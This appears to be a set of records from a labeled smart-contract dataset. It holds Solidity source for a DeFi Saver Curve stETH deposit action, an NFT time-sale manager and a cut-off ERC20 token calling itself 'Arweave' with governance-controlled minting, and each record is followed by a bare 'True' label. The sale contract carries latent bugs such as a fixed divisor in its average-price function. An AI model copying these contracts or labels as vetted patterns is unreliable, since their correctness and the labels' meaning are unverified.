ERR_ENTRY_NON_EXISTENT); require(entries[_id].inWaitPeriodChange, ERR_ENTRY_NOT_IN_CHANGE); uint256 oldWaitPeriod = pendingWaitTimes[_id]; pendingWaitTimes[_id] = 0; entries[_id].inWaitPeriodChange = false; entries[_id].changeStartTime = 0; logger.Log( address(this), msg.sender, "CancelWaitPeriodChange", abi.encode(_id, oldWaitPeriod, entries[_id].waitPeriod) ); } } contract MainnetActionsUtilAddresses { address internal constant DFS_REG_CONTROLLER_ADDR = 0xF8f8B3C98Cf2E63Df3041b73f80F362a4cf3A576; address internal constant REGISTRY_ADDR = 0xD6049E1F5F3EfF1F921f5532aF1A1632bA23929C; address internal constant DFS_LOGGER_ADDR = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; } contract ActionsUtilHelper is MainnetActionsUtilAddresses { } abstract contract ActionBase is AdminAuth, ActionsUtilHelper { DFSRegistry public constant registry = DFSRegistry(REGISTRY_ADDR); DefisaverLogger public constant logger = DefisaverLogger( DFS_LOGGER_ADDR ); string public constant ERR_SUB_INDEX_VALUE = "Wrong sub index value"; string public constant ERR_RETURN_INDEX_VALUE = "Wrong return index value"; /// @dev Subscription params index range [128, 255] uint8 public constant SUB_MIN_INDEX_VALUE = 128; uint8 public constant SUB_MAX_INDEX_VALUE = 255; /// @dev Return params index range [1, 127] uint8 public constant RETURN_MIN_INDEX_VALUE = 1; uint8 public constant RETURN_MAX_INDEX_VALUE = 127; /// @dev If the input value should not be replaced uint8 public constant NO_PARAM_MAPPING = 0; /// @dev We need to parse Flash loan actions in a different way enum ActionType { FL_ACTION, STANDARD_ACTION, CUSTOM_ACTION } /// @notice Parses inputs and runs the implemented action through a proxy /// @dev Is called by the TaskExecutor chaining actions together /// @param _callData Array of input values each value encoded as bytes /// @param _subData Array of subscribed vales, replaces input values if specified /// @param _paramMapping Array that specifies how return and subscribed values are mapped in input /// @param _returnValues Returns values from actions before, which can be injected in inputs /// @return Returns a bytes32 value through DSProxy, each actions implements what that value is function executeAction( bytes[] memory _callData, bytes[] memory _subData, uint8[] memory _paramMapping, bytes32[] memory _returnValues ) public payable virtual returns (bytes32); /// @notice Parses inputs and runs the single implemented action through a proxy /// @dev Used to save gas when executing a single action directly function executeActionDirect(bytes[] memory _callData) public virtual payable; /// @notice Returns the type of action we are implementing function actionType() public pure virtual returns (uint8); //////////////////////////// HELPER METHODS //////////////////////////// /// @notice Given an uint256 input, injects return/sub values if specified /// @param _param The original input value /// @param _mapType Indicated the type of the input in paramMapping /// @param _subData Array of subscription data we can replace the input value with /// @param _returnValues Array of subscription data we can replace the input value with function _parseParamUint( uint _param, uint8 _mapType, bytes[] memory _subData, bytes32[] memory _returnValues ) internal pure returns (uint) { if (isReplaceable(_mapType)) { if (isReturnInjection(_mapType)) { _param = uint(_returnValues[getReturnIndex(_mapType)]); } else { _param = abi.decode(_subData[getSubIndex(_mapType)], (uint)); } } return _param; } /// @notice Given an addr input, injects return/sub values if specified /// @param _param The original input value /// @param _mapType Indicated the type of the input in paramMapping /// @param _subData Array of subscription data we can replace the input value with /// @param _returnValues Array of subscription data we can replace the input value with function _parseParamAddr( address _param, uint8 _mapType, bytes[] memory _subData, bytes32[] memory _returnValues ) internal pure returns (address) { if (isReplaceable(_mapType)) { if (isReturnInjection(_mapType)) { _param = address(bytes20((_returnValues[getReturnIndex(_mapType)]))); } else { _param = abi.decode(_subData[getSubIndex(_mapType)], (address)); } } return _param; } /// @notice Given an bytes32 input, injects return/sub values if specified /// @param _param The original input value /// @param _mapType Indicated the type of the input in paramMapping /// @param _subData Array of subscription data we can replace the input value with /// @param _returnValues Array of subscription data we can replace the input value with function _parseParamABytes32( bytes32 _param, uint8 _mapType, bytes[] memory _subData, bytes32[] memory _returnValues ) internal pure returns (bytes32) { if (isReplaceable(_mapType)) { if (isReturnInjection(_mapType)) { _param = (_returnValues[getReturnIndex(_mapType)]); } else { _param = abi.decode(_subData[getSubIndex(_mapType)], (bytes32)); } } return _param; } /// @notice Checks if the paramMapping value indicated that we need to inject values /// @param _type Indicated the type of the input function isReplaceable(uint8 _type) internal pure returns (bool) { return _type != NO_PARAM_MAPPING; } /// @notice Checks if the paramMapping value is in the return value range /// @param _type Indicated the type of the input function isReturnInjection(uint8 _type) internal pure returns (bool) { return (_type >= RETURN_MIN_INDEX_VALUE) && (_type <= RETURN_MAX_INDEX_VALUE); } /// @notice Transforms the paramMapping value to the index in return array value /// @param _type Indicated the type of the input function getReturnIndex(uint8 _type) internal pure returns (uint8) { require(isReturnInjection(_type), ERR_SUB_INDEX_VALUE); return (_type - RETURN_MIN_INDEX_VALUE); } /// @notice Transforms the paramMapping value to the index in sub array value /// @param _type Indicated the type of the input function getSubIndex(uint8 _type) internal pure returns (uint8) { require(_type >= SUB_MIN_INDEX_VALUE, ERR_RETURN_INDEX_VALUE); return (_type - SUB_MIN_INDEX_VALUE); } } contract CurveStethPoolDeposit is ActionBase { using TokenUtils for address; address constant internal CURVE_STETH_POOL_ADDR = 0xDC24316b9AE028F1497c275EB9192a3Ea0f67022; address constant internal STE_CRV_ADDR = 0x06325440D014e39736583c165C2963BA99fAf14E; address constant internal STETH_ADDR = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84; struct Params { address from; // address where to pull tokens from address to; // address that will receive the LP tokens uint256[2] amounts; // amount of each token to deposit uint256 minMintAmount; // minimum amount of LP tokens to accept } function executeAction( bytes[] memory _callData, bytes[] memory _subData, uint8[] memory _paramMapping, bytes32[] memory _returnValues ) public payable virtual override returns (bytes32) { Params memory params = parseInputs(_callData); params.from = _parseParamAddr(params.from, _paramMapping[0], _subData, _returnValues); params.to = _parseParamAddr(params.to, _paramMapping[1], _subData, _returnValues); params.amounts[0] = _parseParamUint(params.amounts[0], _paramMapping[2], _subData, _returnValues); params.amounts[1] = _parseParamUint(params.amounts[1], _paramMapping[3], _subData, _returnValues); params.minMintAmount = _parseParamUint(params.minMintAmount, _paramMapping[4], _subData, _returnValues); uint256 receivedLp = _curveDeposit(params); return bytes32(receivedLp); } /// @inheritdoc ActionBase function executeActionDirect(bytes[] memory _callData) public payable virtual override { Params memory params = parseInputs(_callData); _curveDeposit(params); } /// @inheritdoc ActionBase function actionType() public pure virtual override returns (uint8) { return uint8(ActionType.STANDARD_ACTION); } //////////////////////////// ACTION LOGIC //////////////////////////// /// @notice Deposits tokens into curve steth pool function _curveDeposit(Params memory _params) internal returns (uint256 receivedLp) { require(_params.to != address(0), "to cant be 0x0"); if (_params.amounts[0] != 0) { _params.amounts[0] = TokenUtils.WETH_ADDR.pullTokensIfNeeded(_params.from, _params.amounts[0]); TokenUtils.withdrawWeth(_params.amounts[0]); } if (_params.amounts[1] != 0) { _params.amounts[1] = STETH_ADDR.pullTokensIfNeeded(_params.from, _params.amounts[1]); STETH_ADDR.approveToken(CURVE_STETH_POOL_ADDR, _params.amounts[1]); } receivedLp = ICurveStethPool(CURVE_STETH_POOL_ADDR).add_liquidity{ value: _params.amounts[0] }(_params.amounts, _params.minMintAmount); STE_CRV_ADDR.withdrawTokens(_params.to, receivedLp); logger.Log( address(this), msg.sender, "CurveStethPoolDeposit", abi.encode(_params.amounts[0], _params.amounts[1], receivedLp) ); } function parseInputs(bytes[] memory _callData) internal pure returns (Params memory params) { params = abi.decode(_callData[0], (Params)); } }

True

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pragma solidity ^0.4.23; /* Controls state and access rights for contract functions * @title Operational Control * @author Fazri Zubair & Farhan Khwaja (Lucid Sight, Inc.) * Inspired and adapted from contract created by OpenZeppelin * Ref: https://github.com/OpenZeppelin/zeppelin-solidity/ */ contract OperationalControl { // Facilitates access & control for the game. // Roles: // -The Managers (Primary/Secondary): Has universal control of all elements (No ability to withdraw) // -The Banker: The Bank can withdraw funds and adjust fees / prices. // -otherManagers: Contracts that need access to functions for gameplay /// @dev Emited when contract is upgraded event ContractUpgrade(address newContract); // The addresses of the accounts (or contracts) that can execute actions within each roles. address public managerPrimary; address public managerSecondary; address public bankManager; // Contracts that require access for gameplay mapping(address => uint8) public otherManagers; // @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; // @dev Keeps track whether the contract erroredOut. When that is true, most actions are blocked & refund can be claimed bool public error = false; /// @dev Operation modifiers for limiting access modifier onlyManager() { require(msg.sender == managerPrimary || msg.sender == managerSecondary); _; } modifier onlyBanker() { require(msg.sender == bankManager); _; } modifier onlyOtherManagers() { require(otherManagers[msg.sender] == 1); _; } modifier anyOperator() { require( msg.sender == managerPrimary || msg.sender == managerSecondary || msg.sender == bankManager || otherManagers[msg.sender] == 1 ); _; } /// @dev Assigns a new address to act as the Other Manager. (State = 1 is active, 0 is disabled) function setOtherManager(address _newOp, uint8 _state) external onlyManager { require(_newOp != address(0)); otherManagers[_newOp] = _state; } /// @dev Assigns a new address to act as the Primary Manager. function setPrimaryManager(address _newGM) external onlyManager { require(_newGM != address(0)); managerPrimary = _newGM; } /// @dev Assigns a new address to act as the Secondary Manager. function setSecondaryManager(address _newGM) external onlyManager { require(_newGM != address(0)); managerSecondary = _newGM; } /// @dev Assigns a new address to act as the Banker. function setBanker(address _newBK) external onlyManager { require(_newBK != address(0)); bankManager = _newBK; } /*** Pausable functionality adapted from OpenZeppelin ***/ /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Modifier to allow actions only when the contract has Error modifier whenError { require(error); _; } /// @dev Called by any Operator role to pause the contract. /// Used only if a bug or exploit is discovered (Here to limit losses / damage) function pause() external onlyManager whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. Can only be called by the Game Master /// @notice This is public rather than external so it can be called by derived contracts. function unpause() public onlyManager whenPaused { // can't unpause if contract was upgraded paused = false; } /// @dev Unpauses the smart contract. Can only be called by the Game Master /// @notice This is public rather than external so it can be called by derived contracts. function hasError() public onlyManager whenPaused { error = true; } /// @dev Unpauses the smart contract. Can only be called by the Game Master /// @notice This is public rather than external so it can be called by derived contracts. function noError() public onlyManager whenPaused { error = false; } } contract CSCNFTFactory { /** Public Functions */ function getAssetDetails(uint256 _assetId) public view returns( uint256 assetId, uint256 ownersIndex, uint256 assetTypeSeqId, uint256 assetType, uint256 createdTimestamp, uint256 isAttached, address creator, address owner ); function getAssetDetailsURI(uint256 _assetId) public view returns( uint256 assetId, uint256 ownersIndex, uint256 assetTypeSeqId, uint256 assetType, uint256 createdTimestamp, uint256 isAttached, address creator, address owner, string metaUriAddress ); function getAssetRawMeta(uint256 _assetId) public view returns( uint256 dataA, uint128 dataB ); function getAssetIdItemType(uint256 _assetId) public view returns( uint256 assetType ); function getAssetIdTypeSequenceId(uint256 _assetId) public view returns( uint256 assetTypeSequenceId ); function getIsNFTAttached( uint256 _tokenId) public view returns( uint256 isAttached ); function getAssetIdCreator(uint256 _assetId) public view returns( address creator ); function getAssetIdOwnerAndOIndex(uint256 _assetId) public view returns( address owner, uint256 ownerIndex ); function getAssetIdOwnerIndex(uint256 _assetId) public view returns( uint256 ownerIndex ); function getAssetIdOwner(uint256 _assetId) public view returns( address owner ); function isAssetIdOwnerOrApproved(address requesterAddress, uint256 _assetId) public view returns( bool ); /// @param _owner The owner whose ships tokens we are interested in. /// @dev This method MUST NEVER be called by smart contract code. First, it's fairly /// expensive (it walks the entire NFT owners array looking for NFT belonging to owner), /// but it also returns a dynamic array, which is only supported for web3 calls, and /// not contract-to-contract calls. function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens); // Get the name of the Asset type function getTypeName (uint32 _type) public returns(string); function RequestDetachment( uint256 _tokenId ) public; function AttachAsset( uint256 _tokenId ) public; function BatchAttachAssets(uint256[10] _ids) public; function BatchDetachAssets(uint256[10] _ids) public; function RequestDetachmentOnPause (uint256 _tokenId) public; function burnAsset(uint256 _assetID) public; function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public; } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ contract ERC721Receiver { /** * @dev Magic value to be returned upon successful reception of an NFT * Equals to `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`, * which can be also obtained as `ERC721Receiver(0).onERC721Received.selector` */ bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba; /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a `safetransfer`. This function MAY throw to revert and reject the * transfer. This function MUST use 50,000 gas or less. Return of other * than the magic value MUST result in the transaction being reverted. * Note: the contract address is always the message sender. * @param _from The sending address * @param _tokenId The NFT identifier which is being transfered * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))` */ function onERC721Received( address _from, uint256 _tokenId, bytes _data ) public returns(bytes4); } contract ERC721Holder is ERC721Receiver { function onERC721Received(address, uint256, bytes) public returns(bytes4) { return ERC721_RECEIVED; } } contract CSCTimeSaleManager is ERC721Holder, OperationalControl { //DATATYPES & CONSTANTS struct CollectibleSale { // Current owner of NFT (ERC721) address seller; // Price (in wei) at beginning of sale (For Buying) uint256 startingPrice; // Price (in wei) at end of sale (For Buying) uint256 endingPrice; // Duration (in seconds) of sale, 2592000 = 30 days uint256 duration; // Time when sale started // NOTE: 0 if this sale has been concluded uint64 startedAt; // Flag denoting is the Sale still active bool isActive; // address of the wallet who bought the asset address buyer; // ERC721 AssetID uint256 tokenId; } struct PastSales { uint256[5] sales; } // CSCNTFAddress address public NFTAddress; // Map from token to their corresponding sale. mapping (uint256 => CollectibleSale) public tokenIdToSale; // Count of AssetType Sales mapping (uint256 => uint256) public assetTypeSaleCount; // Last 5 Prices of AssetType Sales mapping (uint256 => PastSales) internal assetTypeSalePrices; uint256 public avgSalesToCount = 5; // type to sales of type mapping(uint256 => uint256[]) public assetTypeSalesTokenId; event SaleWinner(address owner, uint256 collectibleId, uint256 buyingPrice); event SaleCreated(uint256 tokenID, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint64 startedAt); event SaleCancelled(address seller, uint256 collectibleId); constructor() public { require(msg.sender != address(0)); paused = true; error = false; managerPrimary = msg.sender; managerSecondary = msg.sender; bankManager = msg.sender; } function setNFTAddress(address _address) public onlyManager { NFTAddress = _address; } function setAvgSalesCount(uint256 _count) public onlyManager { avgSalesToCount = _count; } /// @dev Creates and begins a new sale. function CreateSale(uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint64 _duration, address _seller) public anyOperator { _createSale(_tokenId, _startingPrice, _endingPrice, _duration, _seller); } function BatchCreateSales(uint256[] _tokenIds, uint256 _startingPrice, uint256 _endingPrice, uint64 _duration, address _seller) public anyOperator { uint256 _tokenId; for (uint256 i = 0; i < _tokenIds.length; ++i) { _tokenId = _tokenIds[i]; _createSale(_tokenId, _startingPrice, _endingPrice, _duration, _seller); } } function CreateSaleAvgPrice(uint256 _tokenId, uint256 _margin, uint _minPrice, uint256 _endingPrice, uint64 _duration, address _seller) public anyOperator { var cscNFT = CSCNFTFactory(NFTAddress); uint256 assetType = cscNFT.getAssetIdItemType(_tokenId); // Avg Price of last sales uint256 salePrice = GetAssetTypeAverageSalePrice(assetType); // 0-10,000 is mapped to 0%-100% - will be typically 12000 or 120% salePrice = salePrice * _margin / 10000; if(salePrice < _minPrice) { salePrice = _minPrice; } _createSale(_tokenId, salePrice, _endingPrice, _duration, _seller); } function BatchCreateSaleAvgPrice(uint256[] _tokenIds, uint256 _margin, uint _minPrice, uint256 _endingPrice, uint64 _duration, address _seller) public anyOperator { var cscNFT = CSCNFTFactory(NFTAddress); uint256 assetType; uint256 _tokenId; uint256 salePrice; for (uint256 i = 0; i < _tokenIds.length; ++i) { _tokenId = _tokenIds[i]; assetType = cscNFT.getAssetIdItemType(_tokenId); // Avg Price of last sales salePrice = GetAssetTypeAverageSalePrice(assetType); // 0-10,000 is mapped to 0%-100% - will be typically 12000 or 120% salePrice = salePrice * _margin / 10000; if(salePrice < _minPrice) { salePrice = _minPrice; } _tokenId = _tokenIds[i]; _createSale(_tokenId, salePrice, _endingPrice, _duration, _seller); } } function BatchCancelSales(uint256[] _tokenIds) public anyOperator { uint256 _tokenId; for (uint256 i = 0; i < _tokenIds.length; ++i) { _tokenId = _tokenIds[i]; _cancelSale(_tokenId); } } function CancelSale(uint256 _assetId) public anyOperator { _cancelSale(_assetId); } function GetCurrentSalePrice(uint256 _assetId) external view returns(uint256 _price) { CollectibleSale memory _sale = tokenIdToSale[_assetId]; return _currentPrice(_sale); } function GetCurrentTypeSalePrice(uint256 _assetType) external view returns(uint256 _price) { CollectibleSale memory _sale = tokenIdToSale[assetTypeSalesTokenId[_assetType][0]]; return _currentPrice(_sale); } function GetCurrentTypeDuration(uint256 _assetType) external view returns(uint256 _duration) { CollectibleSale memory _sale = tokenIdToSale[assetTypeSalesTokenId[_assetType][0]]; return _sale.duration; } function GetCurrentTypeStartTime(uint256 _assetType) external view returns(uint256 _startedAt) { CollectibleSale memory _sale = tokenIdToSale[assetTypeSalesTokenId[_assetType][0]]; return _sale.startedAt; } function GetCurrentTypeSaleItem(uint256 _assetType) external view returns(address seller, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 startedAt, uint256 tokenId) { CollectibleSale memory _sale = tokenIdToSale[assetTypeSalesTokenId[_assetType][0]]; return ( _sale.seller, _sale.startingPrice, _sale.endingPrice, _sale.duration, _sale.startedAt, _sale.tokenId ); } function GetCurrentTypeSaleCount(uint256 _assetType) external view returns(uint256 _count) { return assetTypeSalesTokenId[_assetType].length; } function BuyCurrentTypeOfAsset(uint256 _assetType) external whenNotPaused payable { require(msg.sender != address(0)); require(msg.sender != address(this)); CollectibleSale memory _sale = tokenIdToSale[assetTypeSalesTokenId[_assetType][0]]; require(_isOnSale(_sale)); _buy(_sale.tokenId, msg.sender, msg.value); } /// @dev BuyNow Function which call the interncal buy function /// after doing all the pre-checks required to initiate a buy function BuyAsset(uint256 _assetId) external whenNotPaused payable { require(msg.sender != address(0)); require(msg.sender != address(this)); CollectibleSale memory _sale = tokenIdToSale[_assetId]; require(_isOnSale(_sale)); //address seller = _sale.seller; _buy(_assetId, msg.sender, msg.value); } function GetAssetTypeAverageSalePrice(uint256 _assetType) public view returns (uint256) { uint256 sum = 0; for (uint256 i = 0; i < avgSalesToCount; i++) { sum += assetTypeSalePrices[_assetType].sales[i]; } return sum / 5; } /// @dev Override unpause so it requires all external contract addresses /// to be set before contract can be unpaused. Also, we can't have /// newContractAddress set either, because then the contract was upgraded. /// @notice This is public rather than external so we can call super.unpause /// without using an expensive CALL. function unpause() public anyOperator whenPaused { // Actually unpause the contract. super.unpause(); } /// @dev Remove all Ether from the contract, which is the owner's cuts /// as well as any Ether sent directly to the contract address. /// Always transfers to the NFT (ERC721) contract, but can be called either by /// the owner or the NFT (ERC721) contract. function withdrawBalance() public onlyBanker { // We are using this boolean method to make sure that even if one fails it will still work bankManager.transfer(address(this).balance); } /// @dev Returns sales info for an CSLCollectibles (ERC721) on sale. /// @param _assetId - ID of the token on sale function getSale(uint256 _assetId) external view returns (address seller, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 startedAt, bool isActive, address buyer, uint256 tokenId) { CollectibleSale memory sale = tokenIdToSale[_assetId]; require(_isOnSale(sale)); return ( sale.seller, sale.startingPrice, sale.endingPrice, sale.duration, sale.startedAt, sale.isActive, sale.buyer, sale.tokenId ); } /** Internal Functions */ function _createSale(uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint64 _duration, address _seller) internal { var cscNFT = CSCNFTFactory(NFTAddress); require(cscNFT.isAssetIdOwnerOrApproved(this, _tokenId) == true); CollectibleSale memory onSale = tokenIdToSale[_tokenId]; require(onSale.isActive == false); // Sanity check that no inputs overflow how many bits we've allocated // to store them in the sale struct. require(_startingPrice == uint256(uint128(_startingPrice))); require(_endingPrice == uint256(uint128(_endingPrice))); require(_duration == uint256(uint64(_duration))); //Transfer ownership if needed if(cscNFT.ownerOf(_tokenId) != address(this)) { require(cscNFT.isApprovedForAll(msg.sender, this) == true); cscNFT.safeTransferFrom(cscNFT.ownerOf(_tokenId), this, _tokenId); } CollectibleSale memory sale = CollectibleSale( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now), true, address(0), uint256(_tokenId) ); _addSale(_tokenId, sale); } /// @dev Adds an sale to the list of open sales. Also fires the /// SaleCreated event. function _addSale(uint256 _assetId, CollectibleSale _sale) internal { // Require that all sales have a duration of // at least one minute. require(_sale.duration >= 1 minutes); tokenIdToSale[_assetId] = _sale; var cscNFT = CSCNFTFactory(NFTAddress); uint256 assetType = cscNFT.getAssetIdItemType(_assetId); assetTypeSalesTokenId[assetType].push(_assetId); SaleCreated( uint256(_assetId), uint256(_sale.startingPrice), uint256(_sale.endingPrice), uint256(_sale.duration), uint64(_sale.startedAt) ); } /// @dev Returns current price of a Collectible (ERC721) on sale. Broken into two /// functions (this one, that computes the duration from the sale /// structure, and the other that does the price computation) so we /// can easily test that the price computation works correctly. function _currentPrice(CollectibleSale memory _sale) internal view returns (uint256) { uint256 secondsPassed = 0; // A bit of insurance against negative values (or wraparound). // Probably not necessary (since Ethereum guarnatees that the // now variable doesn't ever go backwards). if (now > _sale.startedAt) { secondsPassed = now - _sale.startedAt; } return _computeCurrentPrice( _sale.startingPrice, _sale.endingPrice, _sale.duration, secondsPassed ); } /// @dev Computes the current price of an sale. Factored out /// from _currentPrice so we can run extensive unit tests. /// When testing, make this function public and turn on /// `Current price computation` test suite. function _computeCurrentPrice(uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, uint256 _secondsPassed) internal pure returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our public functions carefully cap the maximum values for // time (at 64-bits) and currency (at 128-bits). _duration is // also known to be non-zero (see the require() statement in // _addSale()) if (_secondsPassed >= _duration) { // We've reached the end of the dynamic pricing portion // of the sale, just return the end price. return _endingPrice; } else { // Starting price can be higher than ending price (and often is!), so // this delta can be negative. int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice); // This multiplication can't overflow, _secondsPassed will easily fit within // 64-bits, and totalPriceChange will easily fit within 128-bits, their product // will always fit within 256-bits. int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration); // currentPriceChange can be negative, but if so, will have a magnitude // less that _startingPrice. Thus, this result will always end up positive. int256 currentPrice = int256(_startingPrice) + currentPriceChange; return uint256(currentPrice); } } function _buy(uint256 _assetId, address _buyer, uint256 _price) internal { CollectibleSale storage _sale = tokenIdToSale[_assetId]; // Check that the bid is greater than or equal to the current buyOut price uint256 currentPrice = _currentPrice(_sale); require(_price >= currentPrice); _sale.buyer = _buyer; _sale.isActive = false; _removeSale(_assetId); uint256 bidExcess = _price - currentPrice; _buyer.transfer(bidExcess); var cscNFT = CSCNFTFactory(NFTAddress); uint256 assetType = cscNFT.getAssetIdItemType(_assetId); _updateSaleAvgHistory(assetType, _price); cscNFT.safeTransferFrom(this, _buyer, _assetId); emit SaleWinner(_buyer, _assetId, _price); } function _cancelSale (uint256 _assetId) internal { CollectibleSale storage _sale = tokenIdToSale[_assetId]; require(_sale.isActive == true); address sellerAddress = _sale.seller; _removeSale(_assetId); var cscNFT = CSCNFTFactory(NFTAddress); cscNFT.safeTransferFrom(this, sellerAddress, _assetId); emit SaleCancelled(sellerAddress, _assetId); } /// @dev Returns true if the FT (ERC721) is on sale. function _isOnSale(CollectibleSale memory _sale) internal view returns (bool) { return (_sale.startedAt > 0 && _sale.isActive); } function _updateSaleAvgHistory(uint256 _assetType, uint256 _price) internal { assetTypeSaleCount[_assetType] += 1; assetTypeSalePrices[_assetType].sales[assetTypeSaleCount[_assetType] % avgSalesToCount] = _price; } /// @dev Removes an sale from the list of open sales. /// @param _assetId - ID of the token on sale function _removeSale(uint256 _assetId) internal { delete tokenIdToSale[_assetId]; var cscNFT = CSCNFTFactory(NFTAddress); uint256 assetType = cscNFT.getAssetIdItemType(_assetId); bool hasFound = false; for (uint i = 0; i < assetTypeSalesTokenId[assetType].length; i++) { if ( assetTypeSalesTokenId[assetType][i] == _assetId) { hasFound = true; } if(hasFound == true) { if(i+1 < assetTypeSalesTokenId[assetType].length) assetTypeSalesTokenId[assetType][i] = assetTypeSalesTokenId[assetType][i+1]; else delete assetTypeSalesTokenId[assetType][i]; } } assetTypeSalesTokenId[assetType].length--; } }

True

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pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract Arweave is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; address public governance; mapping (address => bool) public minters; constructor () public ERC20Detailed("Arweave", "AR", 18) { governance = msg.sender; _mint(governance,10000*10**18); } function mint(address account, uint 